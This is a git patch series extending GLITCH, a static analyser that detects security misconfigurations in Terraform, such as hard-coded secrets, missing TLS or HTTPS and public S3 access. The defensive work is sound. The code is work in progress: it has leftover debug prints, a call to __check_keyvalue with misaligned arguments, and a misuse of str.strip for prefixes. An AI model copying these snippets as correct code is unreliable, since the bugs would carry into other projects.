From 8a283c519b2fe4b153b9ca8ba4ee6fe62b40cb70 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Wed, 8 Mar 2023 13:27:20 +0000 Subject: [PATCH 01/58] Implementation/extension of code smells for Terraform: Hard-coded secrets, Use of HTTP without TLS, Use of weak crypto algorithm, Integrity Policy, SSL/TLS/mTLS Policy. --- glitch/analysis/design.py | 2 +- glitch/analysis/rules.py | 19 ++-- glitch/analysis/security.py | 167 ++++++++++++++++++++++++++++++++---- glitch/configs/default.ini | 60 +++++++++++++ glitch/parsers/cmof.py | 3 + 5 files changed, 229 insertions(+), 22 deletions(-) diff --git a/glitch/analysis/design.py b/glitch/analysis/design.py index efefd4b0..7732532c 100644 --- a/glitch/analysis/design.py +++ b/glitch/analysis/design.py @@ -328,7 +328,7 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: def check_dependency(self, d: Dependency, file: str) -> list[Error]: return [] - def check_attribute(self, a: Attribute, file: str) -> list[Error]: + def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: return [] def check_variable(self, v: Variable, file: str) -> list[Error]: diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 6d876235..027da365 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -15,7 +15,9 @@ class Error(): 'sec_hard_user': "Hard-coded user - Developers should not reveal sensitive information in the source code. (CWE-798)", 'sec_invalid_bind': "Invalid IP address binding - Binding to the address 0.0.0.0 allows connections from every possible network which might be a security issues. (CWE-284)", 'sec_no_int_check': "No integrity check - The content of files downloaded from the internet should be checked. (CWE-353)", - 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)" + 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)", + 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled.", + 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", @@ -40,11 +42,12 @@ def agglomerate_errors(): for k,v in error_list.items(): Error.ALL_ERRORS[k] = v - def __init__(self, code: str, el, path: str, repr: str) -> None: + def __init__(self, code: str, el, path: str, repr: str, opt_msg: str = None) -> None: self.code: str = code self.el = el self.path = path self.repr = repr + self.opt_msg = opt_msg if isinstance(self.el, CodeElement): self.line = self.el.line @@ -58,6 +61,8 @@ def to_csv(self) -> str: def __repr__(self) -> str: with open(self.path) as f: line = f.readlines()[self.line - 1].strip() if self.line != -1 else self.repr.split('\n')[0] + if self.opt_msg: + line += f"\n-> {self.opt_msg}" return \ f"{self.path}\nIssue on line {self.line}: {Error.ALL_ERRORS[self.code]}\n" + \ f"{line}\n" @@ -76,8 +81,10 @@ class RuleVisitor(ABC): def __init__(self, tech: Tech) -> None: super().__init__() self.tech = tech + self.code = None def check(self, code) -> list[Error]: + self.code = code if isinstance(code, Project): return self.check_project(code) elif isinstance(code, Module): @@ -85,13 +92,13 @@ def check(self, code) -> list[Error]: elif isinstance(code, UnitBlock): return self.check_unitblock(code) - def check_element(self, c, file: str) -> list[Error]: + def check_element(self, c, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: if isinstance(c, AtomicUnit): return self.check_atomicunit(c, file) elif isinstance(c, Dependency): return self.check_dependency(c, file) elif isinstance(c, Attribute): - return self.check_attribute(c, file) + return self.check_attribute(c, file, au, parent_name) elif isinstance(c, Variable): return self.check_variable(c, file) elif isinstance(c, ConditionStatement): @@ -151,7 +158,7 @@ def check_unitblock(self, u: UnitBlock) -> list[Error]: def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = [] for a in au.attributes: - errors += self.check_attribute(a, file) + errors += self.check_attribute(a, file, au) for s in au.statements: errors += self.check_element(s, file) @@ -163,7 +170,7 @@ def check_dependency(self, d: Dependency, file: str) -> list[Error]: pass @abstractmethod - def check_attribute(self, a: Attribute, file: str) -> list[Error]: + def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: pass @abstractmethod diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 4a2ac288..754ba496 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -1,3 +1,4 @@ +import os import re import json import configparser @@ -30,6 +31,13 @@ def config(self, config_path: str): SecurityVisitor.__CRYPT = json.loads(config['security']['weak_crypt']) SecurityVisitor.__CRYPT_WHITELIST = json.loads(config['security']['weak_crypt_whitelist']) SecurityVisitor.__URL_WHITELIST = json.loads(config['security']['url_http_white_list']) + SecurityVisitor.__SENSITIVE_DATA = json.loads(config['security']['sensitive_data']) + SecurityVisitor.__KEY_ASSIGN = json.loads(config['security']['key_value_assign']) + SecurityVisitor.__GITHUB_ACTIONS = json.loads(config['security']['github_actions_resources']) + SecurityVisitor.__INTEGRITY_POLICY = json.loads(config['security']['integrity_policy']) + SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) + SecurityVisitor.__HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) + SecurityVisitor.__SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -51,6 +59,45 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors.append(Error('sec_no_int_check', au, file, repr(a))) break + + global tf_check + tf_check = False + def check_required_attribute(attributes, parents, name): + for a in attributes: + if a.name in parents: + check_required_attribute(a.keyvalues, [""], name) + elif a.keyvalues != []: + check_required_attribute(a.keyvalues, parents, name) + elif a.name == name and parents == [""]: + global tf_check + tf_check = True + return + + for policy in SecurityVisitor.__INTEGRITY_POLICY: + if (policy["required"] == "yes" and au.type in policy["au_type"]): + check_required_attribute(au.attributes, policy["parents"], policy["attribute"]) + if not tf_check: + errors.append(Error('sec_integrity_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) + break + + tf_check = False + for config in SecurityVisitor.__HTTPS_CONFIGS: + if (config["required"] == "yes" and au.type in config["au_type"]): + check_required_attribute(au.attributes, config["parents"], config["attribute"]) + if not tf_check: + errors.append(Error('sec_https', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + break + + tf_check = False + for policy in SecurityVisitor.__SSL_TLS_POLICY: + if (policy["required"] == "yes" and au.type in policy["au_type"]): + check_required_attribute(au.attributes, policy["parents"], policy["attribute"]) + if not tf_check: + errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) + break return errors @@ -59,12 +106,12 @@ def check_dependency(self, d: Dependency, file: str) -> list[Error]: # FIXME attribute and variables need to have superclass def __check_keyvalue(self, c: CodeElement, name: str, - value: str, has_variable: bool, file: str): + value: str, has_variable: bool, file: str, atomic_unit: AtomicUnit = None, parent_name: str = ""): errors = [] name = name.strip().lower() if (isinstance(value, type(None))): for child in c.keyvalues: - errors += self.check_element(child, file) + errors += self.check_element(child, file, atomic_unit, name) return errors elif (isinstance(value, str)): value = value.strip().lower() @@ -85,6 +132,12 @@ def __check_keyvalue(self, c: CodeElement, name: str, # The url is not valid pass + for config in SecurityVisitor.__HTTPS_CONFIGS: + if (name == config["attribute"] and atomic_unit.type in config["au_type"] + and parent_name in config["parents"] and value.lower() not in config["values"]): + errors.append(Error('sec_https', c, file, repr(c))) + break + if re.match(r'^0.0.0.0', value): errors.append(Error('sec_invalid_bind', c, file, repr(c))) @@ -112,20 +165,79 @@ def __check_keyvalue(self, c: CodeElement, name: str, errors.append(Error('sec_def_admin', c, file, repr(c))) break + def get_au(c, name: str, type: str): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in self.code.modules: + if m.name == module_name: + return get_au(m, name, type) + elif isinstance(c, Module): + for ub in c.blocks: + return get_au(ub, name, type) + else: + for au in c.atomic_units: + if au.type == type and au.name == name: + return au + return None + + def get_module_var(c, name: str): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in self.code.modules: + if m.name == module_name: + return get_module_var(m, name) + elif isinstance(c, Module): + for ub in c.blocks: + return get_module_var(ub, name) + else: + for var in c.variables: + if var.name == name: + return var + return None + for item in (SecurityVisitor.__PASSWORDS + SecurityVisitor.__SECRETS + SecurityVisitor.__USERS): - if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) and not has_variable): - errors.append(Error('sec_hard_secr', c, file, repr(c))) + if (re.match(r'[_A-Za-z0-9$\/\.\[\]-]*{text}\b'.format(text=item), name) + and name not in SecurityVisitor.__SECRETS_WHITELIST): + if not has_variable: + errors.append(Error('sec_hard_secr', c, file, repr(c))) + + if (item in SecurityVisitor.__PASSWORDS): + errors.append(Error('sec_hard_pass', c, file, repr(c))) + elif (item in SecurityVisitor.__USERS): + errors.append(Error('sec_hard_user', c, file, repr(c))) - if (item in SecurityVisitor.__PASSWORDS): - errors.append(Error('sec_hard_pass', c, file, repr(c))) - elif (item in SecurityVisitor.__USERS): - errors.append(Error('sec_hard_user', c, file, repr(c))) + if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): + errors.append(Error('sec_empty_pass', c, file, repr(c))) - if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): - errors.append(Error('sec_empty_pass', c, file, repr(c))) + break + else: + value = re.sub(r'^\${(.*)}$', r'\1', value) + aux = None + if value.startswith("var."): # input variable (atomic unit with type variable) + au = get_au(self.code, value.strip("var."), "variable") + if au != None: + for attribute in au.attributes: + if attribute.name == "default": + aux = attribute + elif value.startswith("local."): # local value (variable) + aux = get_module_var(self.code, value.strip("local.")) - break + print(f"{aux}") + if aux != None: + errors.append(Error('sec_hard_secr', c, file, repr(c))) + + if (item in SecurityVisitor.__PASSWORDS): + errors.append(Error('sec_hard_pass', c, file, repr(c))) + elif (item in SecurityVisitor.__USERS): + errors.append(Error('sec_hard_user', c, file, repr(c))) + + if (item in SecurityVisitor.__PASSWORDS and aux.value != None and len(aux.value) == 0): + errors.append(Error('sec_empty_pass', c, file, repr(c))) + + break + + #TODO if value is using module blocks, resources/data attributes, instead of input_variable/local_value for item in SecurityVisitor.__SSH_DIR: if item.lower() in name: @@ -134,16 +246,41 @@ def __check_keyvalue(self, c: CodeElement, name: str, for item in SecurityVisitor.__MISC_SECRETS: if (re.match(r'([_A-Za-z0-9$-]*[-_]{text}([-_].*)?$)|(^{text}([-_].*)?$)'.format(text=item), name) - and len(value) > 0 and not has_variable): + and name not in SecurityVisitor.__SECRETS_WHITELIST and len(value) > 0 and not has_variable): errors.append(Error('sec_hard_secr', c, file, repr(c))) + for item in SecurityVisitor.__SENSITIVE_DATA: + if item.lower() in name: + for item_value in (SecurityVisitor.__KEY_ASSIGN + SecurityVisitor.__PASSWORDS + + SecurityVisitor.__SECRETS): + if item_value in value.lower(): + errors.append(Error('sec_hard_secr', c, file, repr(c))) + + if (item_value in SecurityVisitor.__PASSWORDS): + errors.append(Error('sec_hard_pass', c, file, repr(c))) + + if atomic_unit.type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value": + errors.append(Error('sec_hard_secr', c, file, repr(c))) + + for policy in SecurityVisitor.__INTEGRITY_POLICY: + if (name == policy["attribute"] and atomic_unit.type in policy["au_type"] + and parent_name in policy["parents"] and value.lower() not in policy["values"]): + errors.append(Error('sec_integrity_policy', c, file, repr(c))) + break + + for policy in SecurityVisitor.__SSL_TLS_POLICY: + if (name == policy["attribute"] and atomic_unit.type in policy["au_type"] + and parent_name in policy["parents"] and value.lower() not in policy["values"]): + errors.append(Error('sec_ssl_tls_policy', c, file, repr(c))) + break + return errors - def check_attribute(self, a: Attribute, file: str) -> list[Error]: - return self.__check_keyvalue(a, a.name, a.value, a.has_variable, file) + def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: + return self.__check_keyvalue(a, a.name, a.value, a.has_variable, file, au, parent_name) def check_variable(self, v: Variable, file: str) -> list[Error]: - return self.__check_keyvalue(v, v.name, v.value, v.has_variable, file) #FIXME + return self.__check_keyvalue(None, v, v.name, v.value, v.has_variable, file) #FIXME def check_comment(self, c: Comment, file: str) -> list[Error]: errors = [] diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 1938dbd7..044b451a 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -21,6 +21,66 @@ checksum = ["gpg", "checksum"] weak_crypt = ["md5", "sha1", "arcfour"] weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] +sensitive_data = ["user_data", "container_definitions", "custom_data"] +key_value_assign = ["key_id=", "access_key=", "key="] +secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled"] + +github_actions_resources = ["resource.github_actions_environment_secret", + "resource.github_actions_organization_secret", "resource.github_actions_secret"] + +integrity_policy = [{"au_type": ["resource.google_compute_instance"], "attribute": "enable_integrity_monitoring", + "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "enable_vtpm", + "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "image_tag_mutability", "parents": [""], + "values": ["immutable"], "required": "yes"}] + +ensure_https = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "viewer_protocol_policy", + "parents": ["default_cache_behavior", "ordered_cache_behavior"], "values":["redirect-to-https", "https-only"], + "required": "yes"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enforce_https", "parents": ["domain_endpoint_options"], + "values": ["true"], "required": "yes"}, + {"au_type": ["resource.aws_alb_listener"], "attribute": "protocol", "parents": [""], "values": ["https", "tls"], + "required": "yes"}, + {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app", + "resource.azurerm_function_app_slot", "resource.azurerm_linux_web_app", "resource.azurerm_windows_web_app"], + "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "enable_https_traffic_only", + "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.digitalocean_loadbalancer"], "attribute": "entry_protocol", + "parents": ["forwarding_rule"], "values": ["https"], "required": "no"}] + +ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribute": "security_policy", + "parents": [""], "values": ["tls_1_2", "tls_1_3"], "required": "yes"}, + {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "minimum_protocol_version", + "parents": ["viewer_certificate"], "values": ["tlsv1.2_2018", "tlsv1.2_2019", "tlsv1.2_2021"], "required": "yes"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "tls_security_policy", + "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes"}, + {"au_type": ["resource.aws_alb_listener"], "attribute": "ssl_policy", "parents": [""], + "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "yes"}, + {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], + "parents": ["site_config"], "attribute": "min_tls_version", "values": ["1.2"], "required": "no"}, + {"au_type": ["resource.google_compute_ssl_policy"], "attribute": "min_tls_version", "parents": [""], + "values": ["tls_1_2"], "required": "yes"}, + {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mysql_server"], + "attribute": "ssl_enforcement_enabled", "parents": [""], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.azurerm_mysql_server", "resource.azurerm_postgresql_server"], + "attribute": "ssl_minimal_tls_version_enforced", "parents": [""], "values": ["tls1_2"], "required": "no"}, + {"au_type": ["resource.azurerm_mssql_server"], "attribute": "minimum_tls_version", + "parents": [""], "values": ["1.2"], "required": "no"}, + {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", + "parents": ["ip_configuration"], "values": ["true"], "required": "yes"}, + {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], + "values": ["true"], "required": "yes"}] + +ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", + "parents": ["dnssec_config"], "values": ["on"], "required": "yes"}] + + + + + + [design] exec_atomic_units = ["exec"] diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 16b1cc7e..9dca03cf 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1559,6 +1559,7 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: f.seek(0, 0) code = f.readlines() + print(f"\nparsed_hcl: {parsed_hcl}\n") unit_block = UnitBlock(path, type) unit_block.path = path for key, value in parsed_hcl.items(): @@ -1574,6 +1575,7 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: continue else: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) + print(unit_block.print(0)) return unit_block except: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) @@ -1604,4 +1606,5 @@ def parse_folder(self, path: str) -> Project: res.blocks += aux.blocks res.modules += aux.modules + print(res.print(0)) return res \ No newline at end of file From 0b969c1f4aa33435fe72056b8864917032a84016 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 13 Mar 2023 11:14:39 +0000 Subject: [PATCH 02/58] 'DNS withou DNSSEC', 'Public IP', and 'Insecure Access Control' security smells --- glitch/analysis/rules.py | 5 +- glitch/analysis/security.py | 199 ++++++++++++++++++++++++++++++------ glitch/configs/default.ini | 60 +++++++++-- 3 files changed, 222 insertions(+), 42 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 027da365..ce307efa 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -17,7 +17,10 @@ class Error(): 'sec_no_int_check': "No integrity check - The content of files downloaded from the internet should be checked. (CWE-353)", 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)", 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled.", - 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions." + 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions.", + 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS.", + 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", + 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 754ba496..460d6085 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -38,6 +38,12 @@ def config(self, config_path: str): SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) SecurityVisitor.__HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) SecurityVisitor.__SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) + SecurityVisitor.__DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) + SecurityVisitor.__PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) + SecurityVisitor.__POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) + SecurityVisitor.__ACCESS_KEYWORDS = json.loads(config['security']['access_keywords']) + SecurityVisitor.__ACCESS_VALUES = json.loads(config['security']['access_values']) + SecurityVisitor.__ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -60,44 +66,137 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: break - global tf_check - tf_check = False - def check_required_attribute(attributes, parents, name): + def check_required_attribute(attributes, parents, name, value = None): + aux = None for a in attributes: - if a.name in parents: - check_required_attribute(a.keyvalues, [""], name) + if a.name.split('dynamic')[-1] == name and parents == [""]: + if value and a.value == value: + return a + elif value and a.value != value: + return None + elif not value: + return a + elif a.name.split('dynamic.')[-1] in parents: + aux = check_required_attribute(a.keyvalues, [""], name, value) elif a.keyvalues != []: - check_required_attribute(a.keyvalues, parents, name) - elif a.name == name and parents == [""]: - global tf_check - tf_check = True - return + aux = check_required_attribute(a.keyvalues, parents, name, value) + if aux: return aux + return None + + def get_associated_au(c, type: str, attribute_name: str , attribute_value: str, attribute_parents: list): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in self.code.modules: + if m.name == module_name: + return get_associated_au(m, type, attribute_name, attribute_value, attribute_parents) + elif isinstance(c, Module): + for ub in c.blocks: + au = get_associated_au(ub, type, attribute_name, attribute_value, attribute_parents) + if au: + return au + else: + for au in c.atomic_units: + if (au.type == type and check_required_attribute( + au.attributes, attribute_parents, attribute_name, attribute_value)): + return au + return None for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (policy["required"] == "yes" and au.type in policy["au_type"]): - check_required_attribute(au.attributes, policy["parents"], policy["attribute"]) - if not tf_check: + if (policy['required'] == "yes" and au.type in policy['au_type']): + a = check_required_attribute(au.attributes, policy['parents'], policy['attribute']) + if not a: errors.append(Error('sec_integrity_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) break - tf_check = False for config in SecurityVisitor.__HTTPS_CONFIGS: - if (config["required"] == "yes" and au.type in config["au_type"]): - check_required_attribute(au.attributes, config["parents"], config["attribute"]) - if not tf_check: + if (config["required"] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config["parents"], config['attribute']): errors.append(Error('sec_https', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) break - tf_check = False for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (policy["required"] == "yes" and au.type in policy["au_type"]): - check_required_attribute(au.attributes, policy["parents"], policy["attribute"]) - if not tf_check: + if (policy['required'] == "yes" and au.type in policy['au_type']): + if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), f"Suggestion: check for a required attribute with name '{policy['attribute']}'.")) break + + for config in SecurityVisitor.__DNSSEC_CONFIGS: + if (config['required'] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config['parents'], config['attribute']): + errors.append(Error('sec_dnssec', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + break + + for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: + if ((config['required'] == "yes" or config['required'] == "must_not_exist") + and au.type in config['au_type']): + a = check_required_attribute(au.attributes, config['parents'], config['attribute']) + if (not a and config['required'] == "yes"): + errors.append(Error('sec_public_ip', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['attribute']}'.")) + break + elif (a and config['required'] == "must_not_exist"): + errors.append(Error('sec_public_ip', a, file, repr(a))) + break + + #insecure access control + if (au.type == "resource.aws_api_gateway_method"): + http_method = check_required_attribute(au.attributes, [""], 'http_method') + authorization = check_required_attribute(au.attributes, [""], 'authorization') + if (http_method and authorization): + if (http_method.value.lower() == 'get' and authorization.value.lower() == 'none'): + api_key_required = check_required_attribute(au.attributes, [""], 'api_key_required') + if api_key_required and f"{api_key_required.value}".lower() != 'true': + errors.append(Error('sec_access_control', api_key_required, file, repr(api_key_required))) + elif not api_key_required: + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'api_key_required'.")) + elif (http_method and not authorization): + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'authorization'.")) + elif (au.type == "resource.github_repository"): + visibility = check_required_attribute(au.attributes, [""], 'visibility') + if visibility: + if visibility.value.lower() not in ["private", "internal"]: + errors.append(Error('sec_access_control', visibility, file, repr(visibility))) + else: + private = check_required_attribute(au.attributes, [""], 'private') + if private: + if f"{private.value}".lower() != "true": + errors.append(Error('sec_access_control', private, file, repr(private))) + else: + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) + elif (au.type == "resource.google_sql_database_instance"): + database_flags = check_required_attribute(au.attributes, ["settings"], "database_flags") + name = check_required_attribute(au.attributes, ["database_flags"], "name", "cross db ownership chaining") + if database_flags and name: + value = check_required_attribute(au.attributes, ["database_flags"], "value") + if value and value.value.lower() != "off": + errors.append(Error('sec_access_control', value, file, repr(value))) + elif not value: + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'value'.")) + else: + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required flag 'cross db ownership chaining'.")) + elif (au.type == "resource.aws_s3_bucket"): + block = get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", + "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) + if not block: + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: + if (config['required'] == "yes" and au.type in config['au_type']): + if not check_required_attribute(au.attributes, config['parents'], config['attribute']): + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['attribute'].split('[')[0]}'.")) + break + return errors @@ -173,12 +272,14 @@ def get_au(c, name: str, type: str): return get_au(m, name, type) elif isinstance(c, Module): for ub in c.blocks: - return get_au(ub, name, type) + au = get_au(ub, name, type) + if au: + return au else: for au in c.atomic_units: - if au.type == type and au.name == name: + if (au.type == type and au.name == name): return au - return None + return None def get_module_var(c, name: str): if isinstance(c, Project): @@ -188,12 +289,14 @@ def get_module_var(c, name: str): return get_module_var(m, name) elif isinstance(c, Module): for ub in c.blocks: - return get_module_var(ub, name) + var = get_module_var(ub, name) + if var: + return var else: for var in c.variables: if var.name == name: return var - return None + return None for item in (SecurityVisitor.__PASSWORDS + SecurityVisitor.__SECRETS + SecurityVisitor.__USERS): @@ -222,9 +325,9 @@ def get_module_var(c, name: str): aux = attribute elif value.startswith("local."): # local value (variable) aux = get_module_var(self.code, value.strip("local.")) + #FIXME value can also use module blocks, resources/data attributes, not only input_variable/local_value - print(f"{aux}") - if aux != None: + if aux: errors.append(Error('sec_hard_secr', c, file, repr(c))) if (item in SecurityVisitor.__PASSWORDS): @@ -236,8 +339,6 @@ def get_module_var(c, name: str): errors.append(Error('sec_empty_pass', c, file, repr(c))) break - - #TODO if value is using module blocks, resources/data attributes, instead of input_variable/local_value for item in SecurityVisitor.__SSH_DIR: if item.lower() in name: @@ -263,17 +364,47 @@ def get_module_var(c, name: str): errors.append(Error('sec_hard_secr', c, file, repr(c))) for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (name == policy["attribute"] and atomic_unit.type in policy["au_type"] - and parent_name in policy["parents"] and value.lower() not in policy["values"]): + if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and value.lower() not in policy['values']): errors.append(Error('sec_integrity_policy', c, file, repr(c))) break for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (name == policy["attribute"] and atomic_unit.type in policy["au_type"] - and parent_name in policy["parents"] and value.lower() not in policy["values"]): + if (name == policy['attribute'] and atomic_unit.type in policy['au_type'] + and parent_name in policy['parents'] and value.lower() not in policy['values']): errors.append(Error('sec_ssl_tls_policy', c, file, repr(c))) break + for config in SecurityVisitor.__DNSSEC_CONFIGS: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_dnssec', c, file, repr(c))) + break + + for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and value.lower() not in config['values']): + errors.append(Error('sec_public_ip', c, file, repr(c))) + break + + for item in SecurityVisitor.__POLICY_KEYWORDS: + if item.lower() in name: + for access_keyword in SecurityVisitor.__ACCESS_KEYWORDS: + for access_value in SecurityVisitor.__ACCESS_VALUES: + expr = access_keyword.lower() + "\s*" + access_value.lower() + pattern = re.compile(rf"{expr}") + match = re.search(pattern, value) + if match: + errors.append(Error('sec_access_control', c, file, repr(c))) + + for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_access_control', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 044b451a..2636cf79 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -23,7 +23,12 @@ weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] sensitive_data = ["user_data", "container_definitions", "custom_data"] key_value_assign = ["key_id=", "access_key=", "key="] -secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled"] + +policy_keywords = ["policy"] +access_keywords = ["\"principal\":"] +access_values = ["\"\\*\""] + +secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required"] github_actions_resources = 